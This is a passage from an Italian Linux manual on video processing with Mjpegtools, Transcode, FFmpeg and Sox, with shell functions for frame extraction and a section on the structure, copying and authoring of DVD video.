`-a 3` `--aspect 3`	Imposta il rapporto di riproduzione a 16:9.
`-a 4` `--aspect 4`	Imposta il rapporto di riproduzione a 2,21:1.
`-b` ***n*** `--video-bitrate` ***n***	Imposta il tasso del flusso di dati video a ***n*** kbit/s.
`-n n|p|s` `--video-norm n|p|s`	Forza l'interpretazione del flusso di ingresso secondo lo standard NTSC, PAL o SECAM, rispettivamente in base all'argomento '**`n`**', '**`p`**' o '**`s`**'.
`-f` ***n*** `--format` ***n***	Specifica il tipo di formato del file da generare, attraverso un numero intero.
`-f 0` `--format 0`	Formato video MPEG-1 generico.
`-f 3` `--format 3`	Formato video MPEG-2 generico.
`-o` ***file*** `--output` ***file***	Questa opzione appare obbligatoriamente alla fine della riga di comando e serve a dichiarare il nome del file da generare.

L'esempio più significativo di utilizzo di '**`mpg2enc`**' è quello con il quale si crea un file video MPEG-2 adatto a '**`mplex`**':

`$` **`mpeg2enc -a 2 -n p -f 3 -b 200 -o video.m2v < video.y4m`** [*Invio*]

In questo caso si suppone di disporre del file '`video.y4m`', contenente un flusso YUV4MPEG, con il quale si ottiene il file '`video.m2v`' in formato MPEG-2. L'opzione '**`-n p`**' specifica che le caratteristiche del file MPEG-2 devono essere conformi allo standard PAL (per esempio la frequenza di quadro deve essere di 25 Hz) e l'opzione '**`-b 200`**' fissa il tasso del flusso di dati video a 200 kbit/s.

36.3.2.4 Utilizzo di «mplex»

Il programma '**`mplex`**' consente di generare un contenitore multimediale MPEG1 o MPEG2, partendo da un file video MPEG e da un file audio MPEG (eventualmente anche qualche altro formato audio è consentito, come descritto nella pagina di manuale *mplex(1)*).

```
mplex [opzioni] -o file_da_generare file_in_ingresso...
```

Dal modello sintattico appena mostrato si intende che l'opzione '**`-o`**' è obbligatoria e precede il nome del file da produrre; quindi segue l'elenco dei file da unire nel contenitore multimediale.

Tabella 36.12. Alcune opzioni.

Opzione	Descrizione
`-f` ***n*** `--format` ***n***	Specifica il tipo di formato del file da generare, attraverso un numero intero. Nelle righe successive ne vengono indicati alcuni.
`-f 0` `--format 0`	Formato MPEG1 generico.
`-f 1` `--format 1`	Formato VCD.
`-f 3` `--format 3`	Formato MPEG2 generico.
`-f 4` `--format 4`	Formato SVCD.
`-f 8` `--format 8`	Formato DVD (VOB), adatto per Dvdauthor.
`-V` `--vbr`	Richiede espressamente di utilizzare un tasso variabile del flusso di dati (*variable bit rate*).
`-o` ***file*** `--output` ***file***	Specifica il nome del file da generare.

L'esempio più significativo di utilizzo di '**`mplex`**' è quello con il quale si creano i file VOB adatti a Dvdauthor:

$ **`mplex -f 8 -V -o filmato.vob video.m2v audio.mp2`** [*Invio*]

In questo caso si suppone di disporre del file '`video.m2v`' in formato video MPEG-2 e del file '`audio.mp2`' in formato MP2, per generare il file '`filmato.vob`'. Si osservi che in

questa situazione, è bene che il file video fornito in ingresso sia in formato MPEG-2, come nell'esempio.

36.3.3 Transcode

Transcode[5] è un sistema modulare per l'elaborazione di formati video MPEG, gestito generalmente attraverso il programma frontale '**transcode**'. Purtroppo i moduli che compongono Transcode non sono perfettamente omogenei e spesso, la sintassi teorica della riga di comando dell'eseguibile '**transcode**' non genera i risultati attesi:

```
transcode [opzioni]
```

Il modello sintattico appena mostrato indica soltanto che sono previste delle opzioni nella riga di comando, ma senza alcuna opzione, il programma non fa alcunché. Di solito si utilizzano almeno le opzioni '**-i**' e '**-o**', per indicare rispettivamente un file in ingresso e uno in uscita.

Tabella 36.13. Alcune opzioni.

Opzione	Significato mnemonico	Descrizione
`-i` ***file*** `-o` ***file***	*input*, *output*	Specificano, rispettivamente, il nome del file da usare in ingresso e in uscita.
`-x` ***video*** [***, audio***] `-y` ***video*** [***, audio***]		Specificano i moduli da usare, rispettivamente, per l'interpretazione del file in ingresso e per la creazione del file in uscita. Si distingue eventualmente tra modulo video e modulo audio (facoltativo), dove il secondo potrebbe essere determinato automaticamente dal tipo di modulo video richiesto. Tra i vari moduli esiste anche quello denominato '**null**', per escludere esplicitamente uno dei due moduli (video o audio). Si osservi che di solito l'opzione '**-x**' viene omessa, lasciando che sia il programma a determinare il formato del file in ingresso.
`-F` ***codifica***		Questa opzione dipende dal modulo specificato con l'opzione '**-y**' e serve a richiedere l'uso di una certa codifica a quel modulo particolare selezionato per il file in uscita.

La mancanza di omogeneità dei moduli che compongono Transcode fa sì che l'utilizzo delle opzioni della riga di comando possa variare molto da un modulo all'altro. Per questa ragione, nella tabella riepilogativa delle opzioni principali vengono mostrate soltanto quelle essenziali, rimanendo però l'esigenza di leggere la pagina di manuale *transcode(1)* per ogni modulo che si voglia tentare di utilizzare. Viene mostrato qui solo qualche esempio elementare di utilizzo del programma.

- `$` **`transcode -i filmato.mpg -o filmato.mov -y mov`** [*Invio*]

  Converte il file '`filmato.mpg`', che si suppone sia un contenitore multimediale MPEG1

(video e audio), in un file MOV (QuickTime), conservando entrambe le componenti (video e audio).

- $ **transcode -i filmato.mov -o video -y ffmpeg -F mpeg1video** [*Invio*]

  Estrae dal file 'filmato.mov' la componente video, convertendola nel file 'video.m1v', in formato MPEG-1 (video). Per questa operazione si utilizza il modulo '**ffmpeg**' che richiede di specificare il formato con l'opzione '**-F**' e di indicare il nome del file (opzione '**-o**') senza estensione.

- $ **transcode -i filmato.mov -o video -y ffmpeg -F mpeg2video** [*Invio*]

  Come nell'esempio precedente, generando però un file video in formato MPEG-2, con il nome 'video.m2v'.

- $ **transcode -i filmato.mov -o video -y jpg** [*Invio*]

  Estrae dal file 'filmato.mov' la componente video, convertendola in una serie di file del tipo 'video***nnnnnn***.jpg', in formato JPG, uno per ogni quadro.

36.3.4 Creazione di un filmato da un'immagine fissa

In questa sezione si mostrano alcuni esempi che, a partire da un'immagine fissa, consentono di arrivare a un filmato, completo di audio, anche se completamente silenzioso.

Si può creare un video YUV4MPEG con '**jpeg2yuv**' o con '**png2yuv**' di Mjpegtools:

$ **jpeg2yuv -f 25 -I p -L 0 -n 100 -j figura.jpg > video.y4m** [*Invio*]

Oppure:

$ **png2yuv -f 25 -I p -L 0 -n 100 -j figura.png > video.y4m** [*Invio*]

In questo modo, a partire dal file 'figura.jpg' o 'figura.png', si ottiene un video YUV4MPEG di 100 quadri, contenenti la stessa immagine, nel file 'video.y4m'. La frequenza di quadro è di 25 quadri al secondo, pertanto il video dura 4 s.

Con l'aiuto di '**mpeg2enc**' si trasforma il file 'video.y4m' in un formato MPEG-2, creando il file 'video.m2v':

$ **mpeg2enc -a 2 -n p -f 3 -b 200 -o video.m2v < video.y4m** [*Invio*]

Viene creato un file audio silenzioso, di 4 s, in formato MP2, con una frequenza di campionamento di 48000 Hz in stereofonia:

$ **dd if=/dev/zero bs=4 count=192000 |** ↩
↪**toolame -b 128 -s 48 /dev/stdin audio.mp2** [*Invio*]

Si ottiene il file 'audio.mp2' che si può usare assieme a 'video.m2v' per creare un contenitore multimediale MPEG2 (video e audio) con l'aiuto di '**mplex**':

$ **mplex -f 3 -o filmato.mpg video.m2v audio.mp2** [*Invio*]

Si ottiene così il file 'filmato.mpg'.

Riquadro 36.14. Campionatura audio e frequenza di quadro.

A seconda della frequenza di quadro dello standard utilizzato (NTSC, PAL o SECAM), si deve calcolare la quantità di campioni audio per quadro, in modo da poter sincronizzare il suono correttamente. La frequenza di quadro dello standard NTSC è di 29,97 quadri per secondo, mentre quella degli standard europei (PAL e SECAM) è di 25 quadri per secondo. Conoscendo la frequenza di campionamento della fonte sonora, basta dividere quel valore per la frequenza di quadro per ottenere quanti campioni corrispondono a un quadro. Per esempio, la frequenza di campionamento di 48 kHz (ovvero 48000 Hz), divisa per 29,97 (NTSC), dà 1601,6 campioni per quadro; divisa per 25 (PAL o SECAM), dà 1920 campioni per quadro. Nello stesso modo, la frequenza di campionamento di 44,1 kHz (ovvero 44100 Hz), divisa per 29,97 (NTSC), dà 1471,5 campioni per quadro; divisa per 25 (PAL o SECAM), dà 1764 campioni per quadro.
Per generare una traccia audio silenziosa, in formato MPEG-1 II, con una campionatura a 48 kHz, si può usare Toolame con un comando di questo tipo:

```
dd if=/dev/zero bs=4 count=n_campioni ↩
↪| toolame -b 128 -s 48 /dev/stdin file_da_generare
```

In pratica, la durata della traccia audio si determina specificando la quantità di campioni da inserire nell'argomento dell'opzione '**count**' del comando '**dd**'.

36.4 Elaborazione dei filmati quadro per quadro

In questo capitolo vengono mostrate delle funzioni per uno script di shell compatibile con lo standard POSIX, che hanno lo scopo di elaborare un filmato (solo video), passando per l'estrazione di ogni quadro. Per il lavoro vengono usati Transcode e ImageMagick.

36.4.1 Estrazione dei quadri

La funzione che viene mostrata in questa sezione, viene chiamata come nell'esempio seguente, dove si richiede di elaborare il file '`origine.m1v`' per generare una serie di immagini con file che corrispondono al modello '`destinazione.`***nnnnnn***`.png`':

```
...
video_to_frame origine.m1v destinazione 25 720x576
...
```

Segue il testo della funzione '**`video_to_frame`**':

```
#
# The input file must be MPEG demultiplexed!
#
video_to_frame () {
    local VIDEO_SRC="$1"
    local VIDEO_DEST="$2"
    local VIDEO_FPS="$3"
    local VIDEO_GEOMETRY="$4"
    #
    # Root file name for temporary files.
    #
    TEMPORARY=`tempfile`
    #
```

```
    # X and Y, destination video geometry.
    #
    local VIDEO_X
    local VIDEO_Y
    #
    # Source video frame rate.
    #
    local SRC_VIDEO_FPS=0
    #
    # Picture elaboration.
    #
    local PICTURE
    local PICTURE_X
    local PICTURE_Y
    local PICTURE_MOVE_X
    local PICTURE_MOVE_Y
    #
    # Frame time calculation.
    #
    local FRAME_TIME_SRC=0
    local FRAME_TIME_DEST=0
    local FRAME_TIME_DEST_TOTAL=0
    #
    # Picture counters
    #
    local COUNTER=0
    local COUNTER_STRING=""
    local PICTURE_COUNTER=0
    local PICTURE_COUNTER_STRING=0
    #
    # Get separated X and Y geometry values.
    #
    VIDEO_X=`echo $VIDEO_GEOMETRY | sed "s/x[0-9]*$//"`
    VIDEO_Y=`echo $VIDEO_GEOMETRY | sed "s/^[0-9]*x//"`
    #
    # Get source FPS.
    #
    SRC_VIDEO_FPS=`file $VIDEO_SRC | sed "s/^.* \([0-9.]*\) fps.*$/\1/"`
    #
    # Verify.
    #
    if [ "$SRC_VIDEO_FPS" = "" ]
    then
        false
        return
    fi
    #
    # Get single frames into JPG files, as temporary files.
    # It will be: $TEMPORARY.000000.jpg
    #             $TEMPORARY.000001.jpg
    #                             ...
    #
    transcode -i $VIDEO_SRC -o $TEMPORARY. -y jpg
    #
    # Convert to the destination geometry, into PNG.
    #
    for PICTURE in $TEMPORARY.[0-9][0-9][0-9][0-9][0-9][0-9].jpg
    do
        #
        # Show something.
```

```
        #
        echo "[$0] Converting \"$PICTURE\""
        #
        # Convert to the destination geometry, but keep it in scale.
        #
        convert -scale $VIDEO_GEOMETRY $PICTURE $TEMPORARY.tmp.png
        #
        # Get geometry after conversion.
        #
        PICTURE_X=`identify $TEMPORARY.tmp.png | sed "s/^.* PNG \([0-9]*\)x\([0-9]*\).*$/\1/"`
        PICTURE_Y=`identify $TEMPORARY.tmp.png | sed "s/^.* PNG \([0-9]*\)x\([0-9]*\).*$/\2/"`
        #
        # Check if more adaptation must be done.
        #
        if [ $PICTURE_X -eq $VIDEO_X ] && [ $PICTURE_Y -eq $VIDEO_Y ]
        then
            #
            # Geometry is right.
            #
            cp $TEMPORARY.tmp.png $PICTURE.png
            #
        else
            #
            # The picture must be filled somehow.
            #
            PICTURE_MOVE_X=$((($VIDEO_X - $PICTURE_X) / 2))
            PICTURE_MOVE_Y=$((($VIDEO_Y - $PICTURE_Y) / 2))
            #
            convert -geometry $VIDEO_GEOMETRY! \
                    -fill gray \
                    -colorize 100% \
                    $PICTURE $TEMPORARY.bg.png
            #
            composite -geometry +$PICTURE_MOVE_X+$PICTURE_MOVE_Y \
                      $TEMPORARY.tmp.png \
                      $TEMPORARY.bg.png \
                      $PICTURE.png
            #
        fi
    done
    #
    # Now, we should select the frames...
    #
    if [ "$VIDEO_FPS" = "$SRC_VIDEO_FPS" ]
    then
        #
        # Just make a copy.
        #
        COUNTER=0
        while true
        do
            COUNTER_STRING=`printf "%06d" $COUNTER`
            #
            if [ -f $TEMPORARY.$COUNTER_STRING.jpg.png ]
            then
                cp $TEMPORARY.$COUNTER_STRING.jpg.png \
                   $VIDEO_DEST.$COUNTER_STRING.png
            else
                break
            fi
```

```
            COUNTER=$(($COUNTER+1))
        done
        #
    else
        #
        # Calculate the frame time.
        #
        FRAME_TIME_SRC=`echo 1 / $SRC_VIDEO_FPS | bc -l`
        FRAME_TIME_DEST=`echo 1 / $VIDEO_FPS | bc -l`
        #
        COUNTER=0
        while true
        do
            #
            # The time reference is the final frame rate.
            # The following counter is referred to the final
            # frame sequence.
            #
            COUNTER_STRING=`printf "%06d" $COUNTER`
            #
            # Calculate the total time reached at the
            # ${COUNTER}th final frame.
            #
            FRAME_TIME_DEST_TOTAL=`echo "$FRAME_TIME_DEST * $COUNTER" | bc -l`
            #
            # Calculate the right frame to take from
            # the original sequence.
            #
            PICTURE_COUNTER=`echo "$FRAME_TIME_DEST_TOTAL / $FRAME_TIME_SRC" | bc -l`
            PICTURE_COUNTER=`echo "$PICTURE_COUNTER + 0.5" | bc -l`
            PICTURE_COUNTER=`echo "$PICTURE_COUNTER" | sed "s/\.[0-9]*$//"`
            PICTURE_COUNTER_STRING=`printf "%06d" $PICTURE_COUNTER`
            #
            # Copy the selected original frame to the final
            # ${COUNTER}th frame.
            #
            if [ -f $TEMPORARY.$PICTURE_COUNTER_STRING.jpg.png ]
            then
                #
                # Show something.
                #
                printf "[$0] Source frame \"$PICTURE_COUNTER_STRING\" "
                printf "to destination frame \"$COUNTER_STRING\"\n"
                #
                # Copy.
                #
                cp $TEMPORARY.$PICTURE_COUNTER_STRING.jpg.png \
                   $VIDEO_DEST.$COUNTER_STRING.png
            else
                break
            fi
            #
            # Prepare to elaborate the next final frame.
            #
            COUNTER=$(($COUNTER+1))
        done
    fi
    #
    # Remove temporary files.
    #
```

```
    rm -f $TEMPORARY*
}
```

Si può sintetizzare il lavoro di questa funzione nel modo seguente:

- vengono acquisite le informazioni necessarie all'elaborazione;
- con l'aiuto di Transcode vengono separati i quadri in file temporanei distinti (per ora in formato JPG);
- con l'aiuto dei programmi di ImageMagick i singoli quadri vengono adattati alla geometria finale, aggiungendo, se necessario, uno sfondo grigio;
- vengono calcolati i tempi di scansione dei quadri e così vengono selezionati i file da copiare nella sequenza finale di file.

36.4.2 Unione dei singoli quadri in un filmato

Dopo l'estrazione e l'adattamento dei vari quadri, si può passare alla costruzione di un nuovo filmato. Per usare la funzione che viene descritta in questa sezione, si può agire come nell'esempio seguente, dove si parte da file in formato PNG, secondo il modello '`origine.`***nnnnnn***`.png`', per generare il file '`destinazione.m2v`', a 25 quadri al secondo:

```
…
frame_to_video origine destinazione.m2v 25
…
```

Segue il testo della funzione '**`frame_to_video`**':

```
#!/bin/sh
frame_to_video () {
    local VIDEO_SRC="$1"
    local VIDEO_DEST="$2"
    local VIDEO_FPS="$3"
    #
    local MPEG_TO_ENC_N
    #
    # Select NTSC or PAL for "mpeg2enc"
    #
    if   [ "$VIDEO_FPS" = "25" ]
    then
        MPEG_TO_ENC_N="p"
    else
        MPEG_TO_ENC_N="n"
    fi
    #
    # Reassemble frames.
    #
```

```
    png2yuv -f $VIDEO_FPS -I p -L 0 -j $VIDEO_SRC.%06d.png | \
            mpeg2enc -n $MPEG_TO_ENC_N -f 3 -b 500 -q 10 -o $VIDEO_DEST
}
```

36.5 Introduzione ai DVD video

Il DVD video è semplicemente un disco con un file system UDF, contenente directory e file con nomi prestabiliti, inseriti nel file system con un ordine preciso. Anche un CD può contenere un file system di questo tipo ed essere usato per un filmato di breve durata.

Nonostante la semplicità della sua struttura, un DVD video è difficile da realizzare, quando non si dispone di strumenti che fanno tutto da soli (ammesso che lo facciano bene), perché di norma si devono rielaborare i file in modo da adattarli al formato previsto per i DVD stessi.

36.5.1 Descrizione superficiale dell'organizzazione di un DVD video

Un DVD video è costituito da un file system UDF, contenente le directory '`AUDIO_TS/`' (che dovrebbe risultare vuota) e '`VIDEO_TS/`'. Nella directory '`VIDEO_TS/`' vengono inseriti diversi file, di cui i più importanti sono quelli con estensione '`.VOB`', che rappresentano un contenitore particolare per video MPEG-2 e audio (che può essere rappresentato con diversi formati). Le caratteristiche geometriche del formato video variano a seconda degli standard di riferimento.

Tabella 36.19. Caratteristiche standard del formato dei filmati nei vari standard video per CD e per DVD.

Standard di memorizzazione	Geometria per NTSC	Geometria per PAL/SECAM	Frequenza di campionamento audio
VCD	352×240	352×288	44100 Hz
SVCD	480×480	480×576	44100 Hz
DVD	720×480	720×576	48000 Hz

Dal punto di vista dell'utilizzatore, il contenuto del DVD video è organizzato in «titoli», che a loro volta possono essere suddivisi in «capitoli».

I file contenuti nel DVD rispecchiano la suddivisione in «insiemi di titoli» o *title set*: '`VTS_`***mm***`_`***n***`.*`'. In pratica, le cifre ***mm*** corrispondono all'insieme ***mm***-esimo, mentre ***n*** rappresenta la ***n***-esima porzione dello stesso. Spesso, gli insiemi di titoli sono singoli, pertanto la suddivisione che qui è stata indicata come ***mm*** rappresenta direttamente i titoli

I file che rappresentano un insieme di titoli ('`VTS_`***mm***`_`***n***`.*`') hanno una numerazione finale che ne rappresenta la porzione ***n***-esima, perché nel DVD video non ci possono essere file più grandi di un gibibyte (simbolo: Gibyte), ovvero 2^{30} byte, pertanto, diventa necessario suddividere i file '`.VOB`' in questo modo. Evidentemente, questa suddivisione in porzioni da un gibibyte non può corrispondere a una suddivisione eventuale in capitoli.

Un DVD video contiene normalmente un menù, realizzato in forma di file '`.VOB`' speciale: infatti, oltre che contenere un video MPEG-2 con lo sfondo del menù, deve contenere delle immagini che si evidenziano a seconda dell'azione che si compie (con il mouse o con il telecomando del lettore DVD); quindi, deve contenere dei riferimenti a dei titoli, in base alla selezione compiuta. In pratica, questo file '`.VOB`' viene eseguito in modo ripetitivo, per dare il

tempo all'utilizzatore di fare la selezione che desidera. Si intuisce che un menù può puntare ad altri sottomenù. Un DVD può anche fare a meno di un menù, ma in tal caso la sua esecuzione può essere solo sequenziale.

36.5.2 Copia di un DVD video normale

La copia di un DVD video che non abbia protezioni particolari, è un procedimento relativamente semplice: si copiano i file che contiene, con la stessa struttura in una directory; si riproduce un file-immagine con il file system UDF, rispettando l'ordine dei file; si incide la copia.

> Si ricorda che la copia di un DVD video è un'operazione che deve essere autorizzata espressamente da chi detiene i diritti di autore.

Viene mostrato il procedimento con un esempio, ipotizzando che il DVD sia letto e poi inciso da un lettore-masterizzatore collocato nell'unità del file di dispositivo '`/dev/sr0`':

1. `# `**`mkdir /tmp/dvd`** [*Invio*]

   viene creata la directory '`/tmp/dvd/`' per fare la copia del contenuto del DVD video;

2. `# `**`mount -t auto /dev/sr0 /mnt/sr0`** [*Invio*]

   viene innestato il DVD video nella directory '`/mnt/sr0/`' (che si presume essere già esistente);

3. `# `**`cp -dpRv /mnt/sr0/* /tmp/dvd`** [*Invio*]

   viene copiato il contenuto del DVD video nella directory '`/mnt/sr0/`';

4. `# `**`umount /mnt/sr0`** [*Invio*]

   viene separato il file system del DVD video dalla directory '`/mnt/sr0/`' e quindi il DVD viene estratto anche dal lettore-masterizzatore;

5. `# `**`mkisofs -dvd-video -o /tmp/dvd.img /tmp/dvd`** [*Invio*]

   viene creato il file '`/tmp/dvd.img`', contenente l'immagine del file system UDF, rispettando l'ordine necessario per i file di un DVD video;

6. `# `**`growisofs -dvd-compat -Z /dev/sr0=/tmp/dvd.img`** [*Invio*]

   dopo aver inserito un DVD vergine nel masterizzatore ('`/dev/sr0`'), si procede all'incisione;

7. `# `**`rm -fr /tmp/dvd.img /tmp/dvd`** [*Invio*]

   al termine vengono cancellati i file temporanei che non servono più.

Si osservi che, di solito, i DVD video per cui non viene concessa la facoltà di copia da chi detiene i diritti di autore, contengono più dati rispetto alla capacità standard di un DVD vergine, complicando il procedimento di copia.

36.5.3 Copia parziale di un DVD video normale

Il passo successivo alla copia pura e semplice di un DVD video consiste nell'estrarre solo alcuni file di proprio interesse, per realizzare con questi un DVD separato.

I file che contano sono quelli con estensione '`.VOB`' che si trovano nella directory '`VIDEO_TS/`'; con programmi come Xine, Totem o VLC, è possibile eseguirli per poter scegliere ciò che è di proprio interesse:

```
$ xine VTS_01_1.VOB [Invio]
```

Una volta determinati quali sono i file da estrapolare per realizzare un altro DVD video, si deve realizzare una struttura nuova, a partire da questi file, con l'aiuto del programma Dvdauthor; [6] come nell'esempio seguente, dove si suppone che i file in questione si trovino nella directory corrente e che la struttura da creare debba essere collocata nella directory '`/tmp/dvd/`':

```
$ dvdauthor -o /tmp/dvd -f VTS_01_1.VOB VTS_01_2.VOB VTS_01_3.VOB [Invio]
```

```
$ dvdauthor -o /tmp/dvd -T [Invio]
```

Quindi, si passa alla creazione del file-immagine per l'incisione di un disco:

```
# mkisofs -dvd-video -o /tmp/dvd.img /tmp/dvd [Invio]
```

In questo caso, il disco che si ottiene è privo di menù e la sua esecuzione parte direttamente dal primo dei file indicati.

Si osservi che esistono tecniche di protezione contro la copia non autorizzata, tali da far sì che il procedimento mostrato in questa sezione produca un video di pessima qualità.

36.5.4 Utilizzo di Dvdbackup

Dvdbackup[7] è un programma che consente di estrapolare il contenuto di un DVD video, con la possibilità di sezionarne i titoli e anche i capitoli in modo preciso.

```
dvdbackup azione [altre_opzioni_di_azione] -i dispositivo_dvd [-o directory]
```

Il modello sintattico mostra l'utilizzo normale del programma eseguibile '**`dvdauthor`**', dove si vede che si usa inizialmente un'opzione che serve a definire l'azione da compiere; successivamente possono essere aggiunte altre opzioni che specificano ulteriormente l'azione da compiere; quindi è obbligatorio l'uso dell'opzione '**`-i`**' per indicare il file di dispositivo corrispondente al lettore contenente il disco da esaminare o da sezionare; infine, quasi sempre, è necessario mettere l'opzione '**`-o`**' con l'indicazione di una directory che deve essere usata, o creata, per inserirvi ciò che viene estrapolato dal disco dell'opzione '**`-i`**'.

Quando si usa l'opzione '**`-o`**', nella directory indicata viene creata una sottodirectory con il nome corrispondente al titolo del DVD, ammesso che ci sia, oppure un altro nome (per esempio '`DVDROM/`' o '`CDROM/`'). In quella sottodirectory viene creata la directory '`VIDEO_TS/`', con i file estrapolati dal DVD video, in base alle altre opzioni usate.

Tabella 36.20. Alcune opzioni.

Opzione	Significato mnemonico	Descrizione
`-I`	*info*	Usando questa opzione si ottengono le informazioni disponibili sul disco sotto esame. In questo caso non si usa l'opzione '**-o**'.
`-n` ***nome***	*name*	Permette di fissare il nome del disco, in modo da sapere esattamente in quale sottodirectory vengono collocati i file.
`-M`	*mirror*	Richiede di estrapolare una copia completa del disco.
`-F`	*feature*	Richiede di estrapolare l'insieme di titoli principale.
`-T` ***nn***	*title set*	Richiede di estrapolare l'insieme di titoli ***n***. In pratica fa una copia dei file '`VTS_`***nn***`_*`'.
`-t` ***n*** [`-s` ***x*** `-e` ***y***]	*title*	Richiede di estrapolare il titolo ***n***. Se si indicano anche le opzioni '**-s**' e '**-e**', si estrapolano solo i capitoli da ***x*** a ***y*** del titolo indicato.

Segue la descrizione di alcuni esempi.

- `$` **`dvdbackup -I -i /dev/hdc`** [*Invio*]

  Mostra una descrizione del disco contenuto nell'unità del file di dispositivo '`/dev/hdc`', secondo una forma simile all'esempio seguente, dove è presente un solo insieme di titoli, composto da tre titoli, che a loro volta contengono tre capitoli ognuno:

```
DVD-Video information of the DVD with title …

File Structure DVD
VIDEO_TS/
        VIDEO_TS.IFO    12288
        VIDEO_TS.VOB    77824
        VIDEO_TS.BUP    12288
        VTS_01_0.IFO    12288
        VTS_01_1.VOB    87541760
        VTS_01_0.BUP    12288



Main feature:
        Title set containing the main feature is  1
        The aspect ratio of the main feature is 4:3
        The main feature has 1 angle(s)
        The main feature has 1 audio_track(s)
        The main feature has 0 subpicture channel(s)
        The main feature has a maximum of 3 chapter(s) in on of its titles
        The main feature has a maximum of 2 audio channel(s) in on of its titles



Title Sets:

        Title set 1
                The aspect ratio of title set 1 is 4:3
```

```
Title set 1 has 1 angle(s)
Title set 1 has 1 audio_track(s)
Title set 1 has 0 subpicture channel(s)

Titles included in title set 1 is/are
        Title 1:
                Title 1 has 3 chapter(s)
                Title 1 has 2 audio channel(s)
        Title 2:
                Title 2 has 3 chapter(s)
                Title 2 has 2 audio channel(s)
        Title 3:
                Title 3 has 3 chapter(s)
                Title 3 has 2 audio channel(s)
```

- $ **dvdbackup -M -n "dvd" -i /dev/hdc -o /tmp** [*Invio*]

  Crea la directory '/tmp/dvd/VIDEO_TS/', mettendovi al suo interno tutto il contenuto del disco che si trova nel file di dispositivo '/dev/hdc'. Il contenuto in questione si riferisce, comunque, a quello di un DVD video.

- $ **dvdbackup -T 1 -n "dvd" -i /dev/hdc -o /tmp** [*Invio*]

  Crea la directory '/tmp/dvd/VIDEO_TS/', mettendovi al suo interno i file del primo insieme di titoli del disco che si trova nel file di dispositivo '/dev/hdc'. I file in questione corrispondono al modello 'VTS_01_*'.

- $ **dvdbackup -t 2 -n "dvd" -i /dev/hdc -o /tmp** [*Invio*]

  Crea la directory '/tmp/dvd/VIDEO_TS/', mettendovi al suo interno uno o più file '.VOB' contenenti il secondo titolo del disco che si trova nel file di dispositivo '/dev/hdc'.

- $ **dvdbackup -t 2 -s 1 -e 2 -n "dvd" -i /dev/hdc -o /tmp** [*Invio*]

  Crea la directory '/tmp/dvd/VIDEO_TS/', mettendovi al suo interno uno o più file '.VOB' contenenti i primi due capitoli del secondo titolo del disco che si trova nel file di dispositivo '/dev/hdc'.

36.5.5 Primi esperimenti per realizzare un DVD con contenuti propri

Come si intende dalla lettura della sezione precedente, per predisporre un DVD video con l'aiuto di Dvdauthor, è necessario disporre di file in formato VOB, con le caratteristiche geometriche previste dallo standard prescelto (PAL/SECAM o NTSC) e con una traccia audio stereofonica campionata a 48000 Hz. Per la precisione, lo standard DVD PAL/SECAM richiede quadri da 720×576 punti grafici, mentre lo standard DVD NTSC richiede quadri da 720×480 punti grafici.

Generalmente, i file multimediali di cui si può disporre facilmente o che si possono produrre attraverso apparecchiature comuni, non dispongono delle caratteristiche richieste dallo standard DVD video e occorre procedere con diversi passaggi di trasformazione. Si suppone di disporre del file 'filmato.avi', contenente video e audio, assolutamente incompatibili con

lo standard DVD video. Si comincia estrapolando la componente video, trasformandola con l'aiuto di FFmpeg:

$ **ffmpeg -i filmato.avi -f mpeg2video -hq -sameq -r 25 ↩**
↪ -s 720x576 video.m2v [*Invio*]

In questo modo si ottiene il file '`video.m2v`' in formato MPEG-2 (solo video), con dimensioni e frequenza di quadro conformi allo standard PAL, indipendentemente dalle caratteristiche del file originale. Nello stesso modo si estrapola la componente audio, ma in tal caso non viene ancora modificata la campionatura:

$ **ffmpeg -i filmato.avi -f wav audio.wav** [*Invio*]

Si ottiene il file '`audio.wav`', che si suppone avere una campionatura non appropriata, pertanto si rielabora con Sox, specificando anche di volere comunque due canali audio, per la stereofonia:

$ **sox audio.wav -r 48000 -c 2 audio.48.wav resample** [*Invio*]

Si ottiene così il file '`audio.48.wav`' che viene usato per generare un file MP2 con l'aiuto di Toolame:

$ **toolame -b 128 audio.48.wav audio.mp2** [*Invio*]

A questo punto, con il programma '**`mplex`**' di Mjpegtools si possono aggregare i file '`video.m2v`' e '`audio.mp2`' in un file VOB adatto a Dvdauthor:

$ **mplex -f 8 -V -o filmato.vob video.m2v audio.mp2** [*Invio*]

Si ottiene così il file '`filmato.vob`', che, come già mostrato nella sezione precedente, può essere trattato da Dvdauthor.

Viene mostrata una funzione di uno script di shell compatibile con lo standard POSIX, che ha lo scopo di produrre un file VOB appropriato a partire da un file contenente un filmato, che FFmpeg sia in grado di gestire:

```
audio_video_transcode () {
    local VIDEO_SRC="$1"
    local VIDEO_DST="$2"
    local VIDEO_FPS="$3"
    local VIDEO_GEOMETRY="$4"
    local TEMPORARY=`tempfile`
    #
    touch $TEMPORARY
    #
    # Get video MPEG-2.
    #
    ffmpeg -i $VIDEO_SRC -f mpeg2video \
                         -hq \
                         -sameq \
                         -r $VIDEO_FPS \
                         -s $VIDEO_GEOMETRY \
                         $TEMPORARY.m2v
    #
```

```
    # Get audio WAV if any audio exist.
    #
    ffmpeg -i $VIDEO_SRC -f wav $TEMPORARY.wav
    #
    if ! [ -s $TEMPORARY.wav ]
    then
        #
        # Create a silent audio track of 1/30 s.
        #
        dd if="/dev/zero" bs=4 count=1600 | \
           sox -t .raw -s -w -c 2 -r 48000 - $TEMPORARY.wav
    fi
    #
    # Resample with Sox, fixing a stereo output.
    #
    if  sox $TEMPORARY.wav -w \
                           -r 48000 \
                           -c 2 \
                           $TEMPORARY.48.wav \
                           resample
    then
        #
        # It worked with resample.
        #
        true
        #
    else
        sox $TEMPORARY.wav -w \
                           -r 48000 \
                           -c 2 \
                           $TEMPORARY.48.wav
    fi
    #
    # Make a new, uniform, MP2 audio file.
    #
    toolame -b 128 $TEMPORARY.48.wav $TEMPORARY.mp2
    #
    # Remultiplex video and audio for DVD.
    #
    mplex -f 8 -V -o $VIDEO_DST \
                     $TEMPORARY.m2v \
                     $TEMPORARY.mp2
    #
    # Remove temporary files.
    #
    rm -f $TEMPORARY*
}
```

Disponendo del file ‘filmato.avi’, volendo generare il file ‘filmato.vob’, aderente allo standard PAL, occorrerebbe chiamare la funzione mostrata, nel modo seguente:

```
…
audio_video_transcode filmato.avi filmato.vob 25 720x576
…
```

36.5.6 Inserire delle diapositive in un DVD video

